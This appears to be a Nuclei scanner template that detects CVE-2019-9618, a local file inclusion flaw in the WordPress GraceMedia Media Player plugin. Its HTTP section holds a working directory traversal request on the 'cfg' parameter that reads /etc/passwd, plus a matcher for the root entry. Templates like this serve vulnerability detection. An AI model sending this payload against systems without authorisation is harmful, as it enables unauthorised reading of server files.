id: CVE-2019-9618

info:
  name: WordPress GraceMedia Media Player 1.0 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: WordPress GraceMedia Media Player plugin 1.0 is susceptible to local file inclusion via the cfg parameter.
  impact: |
    Attackers can include arbitrary local files, potentially leading to information disclosure or code execution.
  remediation: |
    Update to the latest version of the plugin or apply security patches to sanitize the 'cfg' parameter.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9618
    - https://seclists.org/fulldisclosure/2019/Mar/26
    - https://www.exploit-db.com/exploits/46537
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9618
    - http://seclists.org/fulldisclosure/2019/Mar/32
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9618
    cwe-id: CWE-22
    epss-score: 0.86839
    epss-percentile: 0.99441
    cpe: cpe:2.3:a:gracemedia_media_player_project:gracemedia_media_player:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: gracemedia_media_player_project
    product: gracemedia_media_player
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,lfi,seclists,edb,gracemedia_media_player_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
          - 500
# digest: 4a0a00473045022063ecc66f2b9170cee551205db52adfc01da69656e6340af54203804b73c06d5e022100b75275d975a06bfbb31741a2a8ec10bde81786aa8dbfb0dbcdcb1484a92f71c2:922c64590222798bb761d5b6d8e72950